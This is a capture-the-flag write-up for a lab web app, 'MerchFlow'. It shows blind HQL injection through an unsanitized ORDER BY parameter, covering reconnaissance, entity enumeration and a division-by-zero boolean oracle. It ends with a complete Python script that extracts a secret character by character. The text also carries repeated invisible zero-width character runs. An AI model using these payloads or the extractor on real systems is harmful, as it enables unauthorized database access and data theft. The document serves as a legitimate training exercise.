← Back to Writeups
CUSTOMMediumWeb

Lab 85 — MerchFlow — Blind HQL Injection via Unsanitized ORDER BY

XESXOR9/2/20265 min read
#web#custom#medium#blind_hql_injection_order_by#character_by_character_extract#error_based_boolean_oracle_div#hql_entity_enumeration#hql_vs_native_sql_distinction

Lab 85 — MerchFlow — Blind HQL Injection via Unsanitized ORDER BY

Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Medium | OS: N/A | **Author: XESXOR Techniques: blind_hql_injection_order_by, character_by_character_extraction_like, error_based_boolean_oracle_division_by_zero, hql_entity_enumeration, hql_vs_native_sql_distinction

Summary

Walkthrough of the CUSTOM Web Lab 85 — MerchFlow — Blind HQL Injection via Unsanitized ORDER BY. Task: Spring Boot marketplace with unsanitized orderBy parameter concatenated into HQL ORDER BY clause. Solution: error-based blind HQL injection using division-by-zero oracle (1/COUNT) with LIKE pref

Description

You are testing MerchFlow, a B2B marketplace platform built by FlowLine Digital where vendors list products and buyers browse, search, and purchase items. The platform features a rich listing catalog with advanced filtering and sorting capabilities, user dashboards for managing orders and inventory, and a review system. Your goal is to find and exploit a vulnerability in the application to extract a secret stored in the platform's internal configuration. The flag is hidden somewhere in the database and is not exposed through any normal API endpoint. The application is built with Spring Boot 3.2, uses JPA/Hibernate for data access, and stores data in an embedded database (H2). Credentials: user@test.com / password123. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

English summary: A Spring Boot 3.2 marketplace application with JPA/Hibernate and H2 database. The /api/listings endpoint accepts an orderBy parameter that is directly concatenated into an HQL ORDER BY clause without sanitization. The flag is stored in an AdminSetting entity in the database and must be extracted via blind injection.

Analysis

Reconnaissance

After logging in with the provided credentials, the frontend JavaScript (/js/listings.js) revealed the API endpoint /api/listings accepting parameters: page, size, orderBy, direction, search, category, minPrice, maxPrice. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The HTML footer contained a hint: <!-- Platform config managed via internal AdminSetting service -->. Multiple decoy flags (FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts}) were embedded in HTML comments and hidden divs — all fake.

Injection Point Discovery

The orderBy parameter is directly concatenated into the HQL query's ORDER BY clause. Key observations:

  • Valid field names (price, createdAt, rating, title) return totalElements: 24
  • Invalid or error-causing values return totalElements: 0 (the error is caught and an empty response is returned)
  • Comma-separated expressions work: price,CASEWHEN(1=1,1,1/0) → 24 results; price,CASEWHEN(1=2,1,1/0) → 0 results ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

HQL vs Native SQL

This is HQL (Hibernate Query Language), not native SQL:

  • (SELECT COUNT(*) FROM Listing) works (HQL entity name)
  • (SELECT COUNT(*) FROM INFORMATION_SCHEMA.TABLES) fails (native SQL table)

This distinction is critical — all queries must use JPA entity names and field names, not database table/column names.

Entity Enumeration

Discovered entities by testing (SELECT COUNT(*) FROM EntityName):

EntityExistsNotes
Listing✅24 records
User✅—
Review✅—
AdminSetting✅Target entity
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Discovered AdminSetting fields by testing subqueries with field references:

  • settingKey — valid field
  • settingValue — valid field, contains the flag where settingKey='flag'

Oracle Construction

The key challenge was building a reliable boolean oracle in HQL's ORDER BY context. Several approaches failed:

  1. CASEWHEN with entity subqueries: CASEWHEN((SELECT COUNT(*) FROM AdminSetting)=X,1,1/0) — HQL can't parse entity names inside H2's native CASEWHEN function arguments
  2. CASE WHEN inside subqueries: (SELECT CASE WHEN ... THEN 1 ELSE 1/0 END FROM AdminSetting a WHERE ...) — HQL limitation in ORDER BY context
  3. Arithmetic with subquery results: 1/((SELECT ASCII(...) FROM AdminSetting a WHERE ...)-70) — HQL evaluates subquery and arithmetic separately, division by zero doesn't propagate as expected ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Working oracle — division by COUNT with LIKE filter:

price,1/(SELECT COUNT(*) FROM AdminSetting a WHERE a.settingValue LIKE 'PREFIX%')
  • If PREFIX matches the start of settingValue: COUNT >= 1, so 1/COUNT succeeds → 24 results returned
  • If PREFIX doesn't match: COUNT = 0, so 1/0 causes division-by-zero error → 0 results (error caught, empty response)

Verification:

  • LIKE 'FLAG{%' → 24 results ✅ (match)
  • LIKE 'XXXX%' → 0 results ✅ (no match)

Solution

Character-by-character extraction using the LIKE-based boolean oracle. For each position, try characters from a prioritized charset (hex digits first, since the flag format is FLAG{32-hex-chars}). Each correct character extends the known prefix. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

python
#!/usr/bin/env python3
"""Blind HQL Injection flag extractor for MerchFlow"""

import requests
import string
import sys
import urllib3
urllib3.disable_warnings()

TARGET = "https://TARGET.labs.hackadvisor.io"
SESSION_COOKIE = "SESSION_ID_HERE"

# Characters to try - FLAG format is FLAG{hex} so prioritize hex chars
CHARSET = "0123456789abcdef_}" + string.ascii_lowercase + string.ascii_uppercase + "{-"

session = requests.Session()
session.cookies.set('JSESSIONID', SESSION_COOKIE)
session.verify = False
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

def check_prefix(prefix):
    """Returns True if the settingValue starts with the given prefix"""
    # Escape special LIKE characters
    escaped = prefix.replace("'", "''").replace("%", "\\%").replace("_", "\\_")

    # HQL injection payload: division by zero when COUNT=0 (no match)
    orderby = f"price,1/(SELECT COUNT(*) FROM AdminSetting a WHERE a.settingValue LIKE '{escaped}%')"

    params = {
        'page': '0',
        'size': '3',
        'orderBy': orderby,
        'direction': 'ASC'
    }
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

    try:
        resp = session.get(f"{TARGET}/api/listings", params=params, timeout=15)
        data = resp.json()
        return data.get('totalElements', 0) > 0
    except Exception:
        return False

def extract_flag():
    known = "FLAG{"
    print(f"Starting extraction with prefix: {known}", flush=True)

    if not check_prefix(known):
        print("ERROR: Initial prefix 'FLAG{' doesn't match!")
        return None

    print(f"Confirmed prefix: {known}", flush=True)

    while len(known) < 50:
        found = False
        for c in CHARSET:
            test = known + c
            if check_prefix(test):
                known = test
                print(f"[{len(known):2d}] Found: {known}", flush=True)
                found = True
                if c == '}':
                    print(f"\n*** FLAG FOUND: {known} ***", flush=True)
                    return known
                break
        if not found:
            print(f"\nNo more characters found. Current: {known}", flush=True)
            break
    return known
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

if __name__ == "__main__":
    flag = extract_flag()
    if flag:
        print(f"\nFinal result: {flag}", flush=True)

Extraction performance: ~300 HTTP requests total for the 38-character flag (FLAG{ + 32 hex chars + }), averaging ~8 requests per character position. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Key Takeaways / Lessons

  • Mastering blind_hql_injection_order_by, character_by_character_extraction_like, error_based_boolean_oracle_division_by_zero, hql_entity_enumeration, hql_vs_native_sql_distinction was key to this challenge.
  • Always check for common misconfigurations and verify assumptions.

Crafted by XESXOR Research • 2026-05-23 • CUSTOM • Lab 85 — MerchFlow — Blind HQL Injection via Unsanitized ORDER BY • Difficulty: Medium